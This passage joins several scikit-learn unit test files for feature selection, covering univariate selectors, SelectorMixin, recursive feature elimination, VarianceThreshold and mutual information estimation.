    assert_array_equal(X_2, univariate_filter.inverse_transform(X_r))
    # Check inverse_transform respects dtype
    assert_array_equal(X_2.astype(bool),
                       univariate_filter.inverse_transform(X_r.astype(bool)))


def test_select_percentile_regression_full():
    # Test whether the relative univariate feature selection
    # selects all features when '100%' is asked.
    X, y = make_regression(n_samples=200, n_features=20,
                           n_informative=5, shuffle=False, random_state=0)

    univariate_filter = SelectPercentile(f_regression, percentile=100)
    X_r = univariate_filter.fit(X, y).transform(X)
    assert_best_scores_kept(univariate_filter)
    X_r2 = GenericUnivariateSelect(
        f_regression, mode='percentile', param=100).fit(X, y).transform(X)
    assert_array_equal(X_r, X_r2)
    support = univariate_filter.get_support()
    gtruth = np.ones(20)
    assert_array_equal(support, gtruth)


def test_invalid_percentile():
    X, y = make_regression(n_samples=10, n_features=20,
                           n_informative=2, shuffle=False, random_state=0)

    assert_raises(ValueError, SelectPercentile(percentile=-1).fit, X, y)
    assert_raises(ValueError, SelectPercentile(percentile=101).fit, X, y)
    assert_raises(ValueError, GenericUnivariateSelect(mode='percentile',
                                                      param=-1).fit, X, y)
    assert_raises(ValueError, GenericUnivariateSelect(mode='percentile',
                                                      param=101).fit, X, y)


def test_select_kbest_regression():
    # Test whether the relative univariate feature selection
    # gets the correct items in a simple regression problem
    # with the k best heuristic
    X, y = make_regression(n_samples=200, n_features=20, n_informative=5,
                           shuffle=False, random_state=0, noise=10)

    univariate_filter = SelectKBest(f_regression, k=5)
    X_r = univariate_filter.fit(X, y).transform(X)
    assert_best_scores_kept(univariate_filter)
    X_r2 = GenericUnivariateSelect(
        f_regression, mode='k_best', param=5).fit(X, y).transform(X)
    assert_array_equal(X_r, X_r2)
    support = univariate_filter.get_support()
    gtruth = np.zeros(20)
    gtruth[:5] = 1
    assert_array_equal(support, gtruth)


def test_select_heuristics_regression():
    # Test whether the relative univariate feature selection
    # gets the correct items in a simple regression problem
    # with the fpr, fdr or fwe heuristics
    X, y = make_regression(n_samples=200, n_features=20, n_informative=5,
                           shuffle=False, random_state=0, noise=10)

    univariate_filter = SelectFpr(f_regression, alpha=0.01)
    X_r = univariate_filter.fit(X, y).transform(X)
    gtruth = np.zeros(20)
    gtruth[:5] = 1
    for mode in ['fdr', 'fpr', 'fwe']:
        X_r2 = GenericUnivariateSelect(
            f_regression, mode=mode, param=0.01).fit(X, y).transform(X)
        assert_array_equal(X_r, X_r2)
        support = univariate_filter.get_support()
        assert_array_equal(support[:5], np.ones((5, ), dtype=np.bool))
        assert_less(np.sum(support[5:] == 1), 3)


def test_select_fdr_regression():
    # Test that fdr heuristic actually has low FDR.
    def single_fdr(alpha, n_informative, random_state):
        X, y = make_regression(n_samples=150, n_features=20,
                               n_informative=n_informative, shuffle=False,
                               random_state=random_state, noise=10)

        with warnings.catch_warnings(record=True):
            # Warnings can be raised when no features are selected
            # (low alpha or very noisy data)
            univariate_filter = SelectFdr(f_regression, alpha=alpha)
            X_r = univariate_filter.fit(X, y).transform(X)
            X_r2 = GenericUnivariateSelect(
                f_regression, mode='fdr', param=alpha).fit(X, y).transform(X)

        assert_array_equal(X_r, X_r2)
        support = univariate_filter.get_support()
        num_false_positives = np.sum(support[n_informative:] == 1)
        num_true_positives = np.sum(support[:n_informative] == 1)

        if num_false_positives == 0:
            return 0.
        false_discovery_rate = (num_false_positives /
                                (num_true_positives + num_false_positives))
        return false_discovery_rate

    for alpha in [0.001, 0.01, 0.1]:
        for n_informative in [1, 5, 10]:
            # As per Benjamini-Hochberg, the expected false discovery rate
            # should be lower than alpha:
            # FDR = E(FP / (TP + FP)) <= alpha
            false_discovery_rate = np.mean([single_fdr(alpha, n_informative,
                                                       random_state) for
                                            random_state in range(30)])
            assert_greater_equal(alpha, false_discovery_rate)

            # Make sure that the empirical false discovery rate increases
            # with alpha:
            if false_discovery_rate != 0:
                assert_greater(false_discovery_rate, alpha / 10)


def test_select_fwe_regression():
    # Test whether the relative univariate feature selection
    # gets the correct items in a simple regression problem
    # with the fwe heuristic
    X, y = make_regression(n_samples=200, n_features=20,
                           n_informative=5, shuffle=False, random_state=0)

    univariate_filter = SelectFwe(f_regression, alpha=0.01)
    X_r = univariate_filter.fit(X, y).transform(X)
    X_r2 = GenericUnivariateSelect(
        f_regression, mode='fwe', param=0.01).fit(X, y).transform(X)
    assert_array_equal(X_r, X_r2)
    support = univariate_filter.get_support()
    gtruth = np.zeros(20)
    gtruth[:5] = 1
    assert_array_equal(support[:5], np.ones((5, ), dtype=np.bool))
    assert_less(np.sum(support[5:] == 1), 2)


def test_selectkbest_tiebreaking():
    # Test whether SelectKBest actually selects k features in case of ties.
    # Prior to 0.11, SelectKBest would return more features than requested.
    Xs = [[0, 1, 1], [0, 0, 1], [1, 0, 0], [1, 1, 0]]
    y = [1]
    dummy_score = lambda X, y: (X[0], X[0])
    for X in Xs:
        sel = SelectKBest(dummy_score, k=1)
        X1 = ignore_warnings(sel.fit_transform)([X], y)
        assert_equal(X1.shape[1], 1)
        assert_best_scores_kept(sel)

        sel = SelectKBest(dummy_score, k=2)
        X2 = ignore_warnings(sel.fit_transform)([X], y)
        assert_equal(X2.shape[1], 2)
        assert_best_scores_kept(sel)


def test_selectpercentile_tiebreaking():
    # Test if SelectPercentile selects the right n_features in case of ties.
    Xs = [[0, 1, 1], [0, 0, 1], [1, 0, 0], [1, 1, 0]]
    y = [1]
    dummy_score = lambda X, y: (X[0], X[0])
    for X in Xs:
        sel = SelectPercentile(dummy_score, percentile=34)
        X1 = ignore_warnings(sel.fit_transform)([X], y)
        assert_equal(X1.shape[1], 1)
        assert_best_scores_kept(sel)

        sel = SelectPercentile(dummy_score, percentile=67)
        X2 = ignore_warnings(sel.fit_transform)([X], y)
        assert_equal(X2.shape[1], 2)
        assert_best_scores_kept(sel)


def test_tied_pvalues():
    # Test whether k-best and percentiles work with tied pvalues from chi2.
    # chi2 will return the same p-values for the following features, but it
    # will return different scores.
    X0 = np.array([[10000, 9999, 9998], [1, 1, 1]])
    y = [0, 1]

    for perm in itertools.permutations((0, 1, 2)):
        X = X0[:, perm]
        Xt = SelectKBest(chi2, k=2).fit_transform(X, y)
        assert_equal(Xt.shape, (2, 2))
        assert_not_in(9998, Xt)

        Xt = SelectPercentile(chi2, percentile=67).fit_transform(X, y)
        assert_equal(Xt.shape, (2, 2))
        assert_not_in(9998, Xt)


def test_tied_scores():
    # Test for stable sorting in k-best with tied scores.
    X_train = np.array([[0, 0, 0], [1, 1, 1]])
    y_train = [0, 1]

    for n_features in [1, 2, 3]:
        sel = SelectKBest(chi2, k=n_features).fit(X_train, y_train)
        X_test = sel.transform([[0, 1, 2]])
        assert_array_equal(X_test[0], np.arange(3)[-n_features:])


def test_nans():
    # Assert that SelectKBest and SelectPercentile can handle NaNs.
    # First feature has zero variance to confuse f_classif (ANOVA) and
    # make it return a NaN.
    X = [[0, 1, 0], [0, -1, -1], [0, .5, .5]]
    y = [1, 0, 1]

    for select in (SelectKBest(f_classif, 2),
                   SelectPercentile(f_classif, percentile=67)):
        ignore_warnings(select.fit)(X, y)
        assert_array_equal(select.get_support(indices=True), np.array([1, 2]))


def test_score_func_error():
    X = [[0, 1, 0], [0, -1, -1], [0, .5, .5]]
    y = [1, 0, 1]

    for SelectFeatures in [SelectKBest, SelectPercentile, SelectFwe,
                           SelectFdr, SelectFpr, GenericUnivariateSelect]:
        assert_raises(TypeError, SelectFeatures(score_func=10).fit, X, y)


def test_invalid_k():
    X = [[0, 1, 0], [0, -1, -1], [0, .5, .5]]
    y = [1, 0, 1]

    assert_raises(ValueError, SelectKBest(k=-1).fit, X, y)
    assert_raises(ValueError, SelectKBest(k=4).fit, X, y)
    assert_raises(ValueError,
                  GenericUnivariateSelect(mode='k_best', param=-1).fit, X, y)
    assert_raises(ValueError,
                  GenericUnivariateSelect(mode='k_best', param=4).fit, X, y)


def test_f_classif_constant_feature():
    # Test that f_classif warns if a feature is constant throughout.

    X, y = make_classification(n_samples=10, n_features=5)
    X[:, 0] = 2.0
    assert_warns(UserWarning, f_classif, X, y)


def test_no_feature_selected():
    rng = np.random.RandomState(0)

    # Generate random uncorrelated data: a strict univariate test should
    # rejects all the features
    X = rng.rand(40, 10)
    y = rng.randint(0, 4, size=40)
    strict_selectors = [
        SelectFwe(alpha=0.01).fit(X, y),
        SelectFdr(alpha=0.01).fit(X, y),
        SelectFpr(alpha=0.01).fit(X, y),
        SelectPercentile(percentile=0).fit(X, y),
        SelectKBest(k=0).fit(X, y),
    ]
    for selector in strict_selectors:
        assert_array_equal(selector.get_support(), np.zeros(10))
        X_selected = assert_warns_message(
            UserWarning, 'No features were selected', selector.transform, X)
        assert_equal(X_selected.shape, (40, 0))


def test_mutual_info_classif():
    X, y = make_classification(n_samples=100, n_features=5,
                               n_informative=1, n_redundant=1,
                               n_repeated=0, n_classes=2,
                               n_clusters_per_class=1, flip_y=0.0,
                               class_sep=10, shuffle=False, random_state=0)

    # Test in KBest mode.
    univariate_filter = SelectKBest(mutual_info_classif, k=2)
    X_r = univariate_filter.fit(X, y).transform(X)
    X_r2 = GenericUnivariateSelect(
        mutual_info_classif, mode='k_best', param=2).fit(X, y).transform(X)
    assert_array_equal(X_r, X_r2)
    support = univariate_filter.get_support()
    gtruth = np.zeros(5)
    gtruth[:2] = 1
    assert_array_equal(support, gtruth)

    # Test in Percentile mode.
    univariate_filter = SelectPercentile(mutual_info_classif, percentile=40)
    X_r = univariate_filter.fit(X, y).transform(X)
    X_r2 = GenericUnivariateSelect(
        mutual_info_classif, mode='percentile', param=40).fit(X, y).transform(X)
    assert_array_equal(X_r, X_r2)
    support = univariate_filter.get_support()
    gtruth = np.zeros(5)
    gtruth[:2] = 1
    assert_array_equal(support, gtruth)


def test_mutual_info_regression():
    X, y = make_regression(n_samples=100, n_features=10, n_informative=2,
                           shuffle=False, random_state=0, noise=10)

    # Test in KBest mode.
    univariate_filter = SelectKBest(mutual_info_regression, k=2)
    X_r = univariate_filter.fit(X, y).transform(X)
    assert_best_scores_kept(univariate_filter)
    X_r2 = GenericUnivariateSelect(
        mutual_info_regression, mode='k_best', param=2).fit(X, y).transform(X)
    assert_array_equal(X_r, X_r2)
    support = univariate_filter.get_support()
    gtruth = np.zeros(10)
    gtruth[:2] = 1
    assert_array_equal(support, gtruth)

    # Test in Percentile mode.
    univariate_filter = SelectPercentile(mutual_info_regression, percentile=20)
    X_r = univariate_filter.fit(X, y).transform(X)
    X_r2 = GenericUnivariateSelect(mutual_info_regression, mode='percentile',
                                   param=20).fit(X, y).transform(X)
    assert_array_equal(X_r, X_r2)
    support = univariate_filter.get_support()
    gtruth = np.zeros(10)
    gtruth[:2] = 1
    assert_array_equal(support, gtruth)


if __name__ == '__main__':
    run_module_suite()






import numpy as np
from scipy import sparse as sp

from nose.tools import assert_raises, assert_equal
from numpy.testing import assert_array_equal

from sklearn.base import BaseEstimator
from sklearn.feature_selection.base import SelectorMixin
from sklearn.utils import check_array


class StepSelector(SelectorMixin, BaseEstimator):
    """Retain every `step` features (beginning with 0)"""
    def __init__(self, step=2):
        self.step = step

    def fit(self, X, y=None):
        X = check_array(X, 'csc')
        self.n_input_feats = X.shape[1]
        return self

    def _get_support_mask(self):
        mask = np.zeros(self.n_input_feats, dtype=bool)
        mask[::self.step] = True
        return mask


support = [True, False] * 5
support_inds = [0, 2, 4, 6, 8]
X = np.arange(20).reshape(2, 10)
Xt = np.arange(0, 20, 2).reshape(2, 5)
Xinv = X.copy()
Xinv[:, 1::2] = 0
y = [0, 1]
feature_names = list('ABCDEFGHIJ')
feature_names_t = feature_names[::2]
feature_names_inv = np.array(feature_names)
feature_names_inv[1::2] = ''


def test_transform_dense():
    sel = StepSelector()
    Xt_actual = sel.fit(X, y).transform(X)
    Xt_actual2 = StepSelector().fit_transform(X, y)
    assert_array_equal(Xt, Xt_actual)
    assert_array_equal(Xt, Xt_actual2)

    # Check dtype matches
    assert_equal(np.int32, sel.transform(X.astype(np.int32)).dtype)
    assert_equal(np.float32, sel.transform(X.astype(np.float32)).dtype)

    # Check 1d list and other dtype:
    names_t_actual = sel.transform([feature_names])
    assert_array_equal(feature_names_t, names_t_actual.ravel())

    # Check wrong shape raises error
    assert_raises(ValueError, sel.transform, np.array([[1], [2]]))


def test_transform_sparse():
    sparse = sp.csc_matrix
    sel = StepSelector()
    Xt_actual = sel.fit(sparse(X)).transform(sparse(X))
    Xt_actual2 = sel.fit_transform(sparse(X))
    assert_array_equal(Xt, Xt_actual.toarray())
    assert_array_equal(Xt, Xt_actual2.toarray())

    # Check dtype matches
    assert_equal(np.int32, sel.transform(sparse(X).astype(np.int32)).dtype)
    assert_equal(np.float32, sel.transform(sparse(X).astype(np.float32)).dtype)

    # Check wrong shape raises error
    assert_raises(ValueError, sel.transform, np.array([[1], [2]]))


def test_inverse_transform_dense():
    sel = StepSelector()
    Xinv_actual = sel.fit(X, y).inverse_transform(Xt)
    assert_array_equal(Xinv, Xinv_actual)

    # Check dtype matches
    assert_equal(np.int32,
                 sel.inverse_transform(Xt.astype(np.int32)).dtype)
    assert_equal(np.float32,
                 sel.inverse_transform(Xt.astype(np.float32)).dtype)

    # Check 1d list and other dtype:
    names_inv_actual = sel.inverse_transform([feature_names_t])
    assert_array_equal(feature_names_inv, names_inv_actual.ravel())

    # Check wrong shape raises error
    assert_raises(ValueError, sel.inverse_transform, np.array([[1], [2]]))


def test_inverse_transform_sparse():
    sparse = sp.csc_matrix
    sel = StepSelector()
    Xinv_actual = sel.fit(sparse(X)).inverse_transform(sparse(Xt))
    assert_array_equal(Xinv, Xinv_actual.toarray())

    # Check dtype matches
    assert_equal(np.int32,
                 sel.inverse_transform(sparse(Xt).astype(np.int32)).dtype)
    assert_equal(np.float32,
                 sel.inverse_transform(sparse(Xt).astype(np.float32)).dtype)

    # Check wrong shape raises error
    assert_raises(ValueError, sel.inverse_transform, np.array([[1], [2]]))


def test_get_support():
    sel = StepSelector()
    sel.fit(X, y)
    assert_array_equal(support, sel.get_support())
    assert_array_equal(support_inds, sel.get_support(indices=True))






"""
Testing Recursive feature elimination
"""
import numpy as np
from numpy.testing import assert_array_almost_equal, assert_array_equal
from nose.tools import assert_equal, assert_true
from scipy import sparse

from sklearn.feature_selection.rfe import RFE, RFECV
from sklearn.datasets import load_iris, make_friedman1
from sklearn.metrics import zero_one_loss
from sklearn.svm import SVC, SVR
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import cross_val_score

from sklearn.utils import check_random_state
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_greater

from sklearn.metrics import make_scorer
from sklearn.metrics import get_scorer


class MockClassifier(object):
    """
    Dummy classifier to test recursive feature elimination
    """

    def __init__(self, foo_param=0):
        self.foo_param = foo_param

    def fit(self, X, Y):
        assert_true(len(X) == len(Y))
        self.coef_ = np.ones(X.shape[1], dtype=np.float64)
        return self

    def predict(self, T):
        return T.shape[0]

    predict_proba = predict
    decision_function = predict
    transform = predict

    def score(self, X=None, Y=None):
        if self.foo_param > 1:
            score = 1.
        else:
            score = 0.
        return score

    def get_params(self, deep=True):
        return {'foo_param': self.foo_param}

    def set_params(self, **params):
        return self


def test_rfe_features_importance():
    generator = check_random_state(0)
    iris = load_iris()
    X = np.c_[iris.data, generator.normal(size=(len(iris.data), 6))]
    y = iris.target

    clf = RandomForestClassifier(n_estimators=20,
                                 random_state=generator, max_depth=2)
    rfe = RFE(estimator=clf, n_features_to_select=4, step=0.1)
    rfe.fit(X, y)
    assert_equal(len(rfe.ranking_), X.shape[1])

    clf_svc = SVC(kernel="linear")
    rfe_svc = RFE(estimator=clf_svc, n_features_to_select=4, step=0.1)
    rfe_svc.fit(X, y)

    # Check if the supports are equal
    assert_array_equal(rfe.get_support(), rfe_svc.get_support())


def test_rfe():
    generator = check_random_state(0)
    iris = load_iris()
    X = np.c_[iris.data, generator.normal(size=(len(iris.data), 6))]
    X_sparse = sparse.csr_matrix(X)
    y = iris.target

    # dense model
    clf = SVC(kernel="linear")
    rfe = RFE(estimator=clf, n_features_to_select=4, step=0.1)
    rfe.fit(X, y)
    X_r = rfe.transform(X)
    clf.fit(X_r, y)
    assert_equal(len(rfe.ranking_), X.shape[1])

    # sparse model
    clf_sparse = SVC(kernel="linear")
    rfe_sparse = RFE(estimator=clf_sparse, n_features_to_select=4, step=0.1)
    rfe_sparse.fit(X_sparse, y)
    X_r_sparse = rfe_sparse.transform(X_sparse)

    assert_equal(X_r.shape, iris.data.shape)
    assert_array_almost_equal(X_r[:10], iris.data[:10])

    assert_array_almost_equal(rfe.predict(X), clf.predict(iris.data))
    assert_equal(rfe.score(X, y), clf.score(iris.data, iris.target))
    assert_array_almost_equal(X_r, X_r_sparse.toarray())


def test_rfe_mockclassifier():
    generator = check_random_state(0)
    iris = load_iris()
    X = np.c_[iris.data, generator.normal(size=(len(iris.data), 6))]
    y = iris.target

    # dense model
    clf = MockClassifier()
    rfe = RFE(estimator=clf, n_features_to_select=4, step=0.1)
    rfe.fit(X, y)
    X_r = rfe.transform(X)
    clf.fit(X_r, y)
    assert_equal(len(rfe.ranking_), X.shape[1])
    assert_equal(X_r.shape, iris.data.shape)


def test_rfecv():
    generator = check_random_state(0)
    iris = load_iris()
    X = np.c_[iris.data, generator.normal(size=(len(iris.data), 6))]
    y = list(iris.target)   # regression test: list should be supported

    # Test using the score function
    rfecv = RFECV(estimator=SVC(kernel="linear"), step=1, cv=5)
    rfecv.fit(X, y)
    # non-regression test for missing worst feature:
    assert_equal(len(rfecv.grid_scores_), X.shape[1])
    assert_equal(len(rfecv.ranking_), X.shape[1])
    X_r = rfecv.transform(X)

    # All the noisy variable were filtered out
    assert_array_equal(X_r, iris.data)

    # same in sparse
    rfecv_sparse = RFECV(estimator=SVC(kernel="linear"), step=1, cv=5)
    X_sparse = sparse.csr_matrix(X)
    rfecv_sparse.fit(X_sparse, y)
    X_r_sparse = rfecv_sparse.transform(X_sparse)
    assert_array_equal(X_r_sparse.toarray(), iris.data)

    # Test using a customized loss function
    scoring = make_scorer(zero_one_loss, greater_is_better=False)
    rfecv = RFECV(estimator=SVC(kernel="linear"), step=1, cv=5,
                  scoring=scoring)
    ignore_warnings(rfecv.fit)(X, y)
    X_r = rfecv.transform(X)
    assert_array_equal(X_r, iris.data)

    # Test using a scorer
    scorer = get_scorer('accuracy')
    rfecv = RFECV(estimator=SVC(kernel="linear"), step=1, cv=5,
                  scoring=scorer)
    rfecv.fit(X, y)
    X_r = rfecv.transform(X)
    assert_array_equal(X_r, iris.data)

    # Test fix on grid_scores
    def test_scorer(estimator, X, y):
        return 1.0
    rfecv = RFECV(estimator=SVC(kernel="linear"), step=1, cv=5,
                  scoring=test_scorer)
    rfecv.fit(X, y)
    assert_array_equal(rfecv.grid_scores_, np.ones(len(rfecv.grid_scores_)))

    # Same as the first two tests, but with step=2
    rfecv = RFECV(estimator=SVC(kernel="linear"), step=2, cv=5)
    rfecv.fit(X, y)
    assert_equal(len(rfecv.grid_scores_), 6)
    assert_equal(len(rfecv.ranking_), X.shape[1])
    X_r = rfecv.transform(X)
    assert_array_equal(X_r, iris.data)

    rfecv_sparse = RFECV(estimator=SVC(kernel="linear"), step=2, cv=5)
    X_sparse = sparse.csr_matrix(X)
    rfecv_sparse.fit(X_sparse, y)
    X_r_sparse = rfecv_sparse.transform(X_sparse)
    assert_array_equal(X_r_sparse.toarray(), iris.data)


def test_rfecv_mockclassifier():
    generator = check_random_state(0)
    iris = load_iris()
    X = np.c_[iris.data, generator.normal(size=(len(iris.data), 6))]
    y = list(iris.target)   # regression test: list should be supported

    # Test using the score function
    rfecv = RFECV(estimator=MockClassifier(), step=1, cv=5)
    rfecv.fit(X, y)
    # non-regression test for missing worst feature:
    assert_equal(len(rfecv.grid_scores_), X.shape[1])
    assert_equal(len(rfecv.ranking_), X.shape[1])


def test_rfe_estimator_tags():
    rfe = RFE(SVC(kernel='linear'))
    assert_equal(rfe._estimator_type, "classifier")
    # make sure that cross-validation is stratified
    iris = load_iris()
    score = cross_val_score(rfe, iris.data, iris.target)
    assert_greater(score.min(), .7)


def test_rfe_min_step():
    n_features = 10
    X, y = make_friedman1(n_samples=50, n_features=n_features, random_state=0)
    n_samples, n_features = X.shape
    estimator = SVR(kernel="linear")

    # Test when floor(step * n_features) <= 0
    selector = RFE(estimator, step=0.01)
    sel = selector.fit(X, y)
    assert_equal(sel.support_.sum(), n_features // 2)

    # Test when step is between (0,1) and floor(step * n_features) > 0
    selector = RFE(estimator, step=0.20)
    sel = selector.fit(X, y)
    assert_equal(sel.support_.sum(), n_features // 2)

    # Test when step is an integer
    selector = RFE(estimator, step=5)
    sel = selector.fit(X, y)
    assert_equal(sel.support_.sum(), n_features // 2)


def test_number_of_subsets_of_features():
    # In RFE, 'number_of_subsets_of_features'
    # = the number of iterations in '_fit'
    # = max(ranking_)
    # = 1 + (n_features + step - n_features_to_select - 1) // step
    # After optimization #4534, this number
    # = 1 + np.ceil((n_features - n_features_to_select) / float(step))
    # This test case is to test their equivalence, refer to #4534 and #3824

    def formula1(n_features, n_features_to_select, step):
        return 1 + ((n_features + step - n_features_to_select - 1) // step)

    def formula2(n_features, n_features_to_select, step):
        return 1 + np.ceil((n_features - n_features_to_select) / float(step))

    # RFE
    # Case 1, n_features - n_features_to_select is divisible by step
    # Case 2, n_features - n_features_to_select is not divisible by step
    n_features_list = [11, 11]
    n_features_to_select_list = [3, 3]
    step_list = [2, 3]
    for n_features, n_features_to_select, step in zip(
            n_features_list, n_features_to_select_list, step_list):
        generator = check_random_state(43)
        X = generator.normal(size=(100, n_features))
        y = generator.rand(100).round()
        rfe = RFE(estimator=SVC(kernel="linear"),
                  n_features_to_select=n_features_to_select, step=step)
        rfe.fit(X, y)
        # this number also equals to the maximum of ranking_
        assert_equal(np.max(rfe.ranking_),
                     formula1(n_features, n_features_to_select, step))
        assert_equal(np.max(rfe.ranking_),
                     formula2(n_features, n_features_to_select, step))

    # In RFECV, 'fit' calls 'RFE._fit'
    # 'number_of_subsets_of_features' of RFE
    # = the size of 'grid_scores' of RFECV
    # = the number of iterations of the for loop before optimization #4534

    # RFECV, n_features_to_select = 1
    # Case 1, n_features - 1 is divisible by step
    # Case 2, n_features - 1 is not divisible by step

    n_features_to_select = 1
    n_features_list = [11, 10]
    step_list = [2, 2]
    for n_features, step in zip(n_features_list, step_list):
        generator = check_random_state(43)
        X = generator.normal(size=(100, n_features))
        y = generator.rand(100).round()
        rfecv = RFECV(estimator=SVC(kernel="linear"), step=step, cv=5)
        rfecv.fit(X, y)

        assert_equal(rfecv.grid_scores_.shape[0],
                     formula1(n_features, n_features_to_select, step))
        assert_equal(rfecv.grid_scores_.shape[0],
                     formula2(n_features, n_features_to_select, step))


def test_rfe_cv_n_jobs():
    generator = check_random_state(0)
    iris = load_iris()
    X = np.c_[iris.data, generator.normal(size=(len(iris.data), 6))]
    y = iris.target

    rfecv = RFECV(estimator=SVC(kernel='linear'))
    rfecv.fit(X, y)
    rfecv_ranking = rfecv.ranking_
    rfecv_grid_scores = rfecv.grid_scores_

    rfecv.set_params(n_jobs=2)
    rfecv.fit(X, y)
    assert_array_almost_equal(rfecv.ranking_, rfecv_ranking)
    assert_array_almost_equal(rfecv.grid_scores_, rfecv_grid_scores)






from sklearn.utils.testing import (assert_array_equal, assert_equal,
                                   assert_raises)

from scipy.sparse import bsr_matrix, csc_matrix, csr_matrix

from sklearn.feature_selection import VarianceThreshold

data = [[0, 1, 2, 3, 4],
        [0, 2, 2, 3, 5],
        [1, 1, 2, 4, 0]]


def test_zero_variance():
    # Test VarianceThreshold with default setting, zero variance.

    for X in [data, csr_matrix(data), csc_matrix(data), bsr_matrix(data)]:
        sel = VarianceThreshold().fit(X)
        assert_array_equal([0, 1, 3, 4], sel.get_support(indices=True))

    assert_raises(ValueError, VarianceThreshold().fit, [[0, 1, 2, 3]])
    assert_raises(ValueError, VarianceThreshold().fit, [[0, 1], [0, 1]])


def test_variance_threshold():
    # Test VarianceThreshold with custom variance.
    for X in [data, csr_matrix(data)]:
        X = VarianceThreshold(threshold=.4).fit_transform(X)
        assert_equal((len(data), 1), X.shape)






from __future__ import division

import numpy as np
from numpy.testing import run_module_suite
from scipy.sparse import csr_matrix

from sklearn.utils.testing import (assert_array_equal, assert_almost_equal,
                                   assert_false, assert_raises, assert_equal)
from sklearn.feature_selection.mutual_info_ import (
    mutual_info_regression, mutual_info_classif, _compute_mi)


def test_compute_mi_dd():
    # In discrete case computations are straightforward and can be done
    # by hand on given vectors.
    x = np.array([0, 1, 1, 0, 0])
    y = np.array([1, 0, 0, 0, 1])

    H_x = H_y = -(3/5) * np.log(3/5) - (2/5) * np.log(2/5)
    H_xy = -1/5 * np.log(1/5) - 2/5 * np.log(2/5) - 2/5 * np.log(2/5)
    I_xy = H_x + H_y - H_xy

    assert_almost_equal(_compute_mi(x, y, True, True), I_xy)


def test_compute_mi_cc():
    # For two continuous variables a good approach is to test on bivariate
    # normal distribution, where mutual information is known.

    # Mean of the distribution, irrelevant for mutual information.
    mean = np.zeros(2)

    # Setup covariance matrix with correlation coeff. equal 0.5.
    sigma_1 = 1
    sigma_2 = 10
    corr = 0.5
    cov = np.array([
        [sigma_1**2, corr * sigma_1 * sigma_2],
        [corr * sigma_1 * sigma_2, sigma_2**2]
    ])

    # True theoretical mutual information.
    I_theory = (np.log(sigma_1) + np.log(sigma_2) -
                0.5 * np.log(np.linalg.det(cov)))

    np.random.seed(0)
    Z = np.random.multivariate_normal(mean, cov, size=1000)

    x, y = Z[:, 0], Z[:, 1]

    # Theory and computed values won't be very close, assert that the
    # first figures after decimal point match.
    for n_neighbors in [3, 5, 7]:
        I_computed = _compute_mi(x, y, False, False, n_neighbors)
        assert_almost_equal(I_computed, I_theory, 1)


def test_compute_mi_cd():
    # To test define a joint distribution as follows:
    # p(x, y) = p(x) p(y | x)
    # X ~ Bernoulli(p)
    # (Y | x = 0) ~ Uniform(-1, 1)
    # (Y | x = 1) ~ Uniform(0, 2)

    # Use the following formula for mutual information:
    # I(X; Y) = H(Y) - H(Y | X)
    # Two entropies can be computed by hand:
    # H(Y) = -(1-p)/2 * ln((1-p)/2) - p/2*log(p/2) - 1/2*log(1/2)
    # H(Y | X) = ln(2)

    # Now we need to implement sampling from out distribution, which is
    # done easily using conditional distribution logic.

    n_samples = 1000
    np.random.seed(0)

    for p in [0.3, 0.5, 0.7]:
        x = np.random.uniform(size=n_samples) > p

        y = np.empty(n_samples)
        mask = x == 0
        y[mask] = np.random.uniform(-1, 1, size=np.sum(mask))
        y[~mask] = np.random.uniform(0, 2, size=np.sum(~mask))

        I_theory = -0.5 * ((1 - p) * np.log(0.5 * (1 - p)) +
                           p * np.log(0.5 * p) + np.log(0.5)) - np.log(2)

        # Assert the same tolerance.
        for n_neighbors in [3, 5, 7]:
            I_computed = _compute_mi(x, y, True, False, n_neighbors)
            assert_almost_equal(I_computed, I_theory, 1)


def test_compute_mi_cd_unique_label():
    # Test that adding unique label doesn't change MI.
    n_samples = 100
    x = np.random.uniform(size=n_samples) > 0.5

    y = np.empty(n_samples)
    mask = x == 0
    y[mask] = np.random.uniform(-1, 1, size=np.sum(mask))
    y[~mask] = np.random.uniform(0, 2, size=np.sum(~mask))

    mi_1 = _compute_mi(x, y, True, False)

    x = np.hstack((x, 2))
    y = np.hstack((y, 10))
    mi_2 = _compute_mi(x, y, True, False)

    assert_equal(mi_1, mi_2)


# We are going test that feature ordering by MI matches our expectations.
def test_mutual_info_classif_discrete():
    X = np.array([[0, 0, 0],
                  [1, 1, 0],
                  [2, 0, 1],
                  [2, 0, 1],
                  [2, 0, 1]])
    y = np.array([0, 1, 2, 2, 1])

    # Here X[:, 0] is the most informative feature, and X[:, 1] is weakly
    # informative.
    mi = mutual_info_classif(X, y, discrete_features=True)
    assert_array_equal(np.argsort(-mi), np.array([0, 2, 1]))


def test_mutual_info_regression():
    # We generate sample from multivariate normal distribution, using
    # transformation from initially uncorrelated variables. The zero
    # variables after transformation is selected as the target vector,
    # it has the strongest correlation with the variable 2, and
    # the weakest correlation with the variable 1.
    T = np.array([
        [1, 0.5, 2, 1],
        [0, 1, 0.1, 0.0],
        [0, 0.1, 1, 0.1],
        [0, 0.1, 0.1, 1]
    ])
    cov = T.dot(T.T)
    mean = np.zeros(4)

    np.random.seed(0)
    Z = np.random.multivariate_normal(mean, cov, size=1000)
    X = Z[:, 1:]
    y = Z[:, 0]

    mi = mutual_info_regression(X, y, random_state=0)
    assert_array_equal(np.argsort(-mi), np.array([1, 2, 0]))


def test_mutual_info_classif_mixed():
    # Here the target is discrete and there are two continuous and one
    # discrete feature. The idea of this test is clear from the code.
    np.random.seed(0)
    X = np.random.rand(1000, 3)
    X[:, 1] += X[:, 0]
    y = ((0.5 * X[:, 0] + X[:, 2]) > 0.5).astype(int)
    X[:, 2] = X[:, 2] > 0.5

    mi = mutual_info_classif(X, y, discrete_features=[2], random_state=0)
    assert_array_equal(np.argsort(-mi), [2, 0, 1])


def test_mutual_info_options():
    X = np.array([[0, 0, 0],
                  [1, 1, 0],
                  [2, 0, 1],
                  [2, 0, 1],
                  [2, 0, 1]], dtype=float)
    y = np.array([0, 1, 2, 2, 1], dtype=float)
    X_csr = csr_matrix(X)

    for mutual_info in (mutual_info_regression, mutual_info_classif):
        assert_raises(ValueError, mutual_info_regression, X_csr, y,
                      discrete_features=False)

        mi_1 = mutual_info(X, y, discrete_features='auto', random_state=0)
        mi_2 = mutual_info(X, y, discrete_features=False, random_state=0)

        mi_3 = mutual_info(X_csr, y, discrete_features='auto',
                           random_state=0)
        mi_4 = mutual_info(X_csr, y, discrete_features=True,
                           random_state=0)

        assert_array_equal(mi_1, mi_2)
        assert_array_equal(mi_3, mi_4)

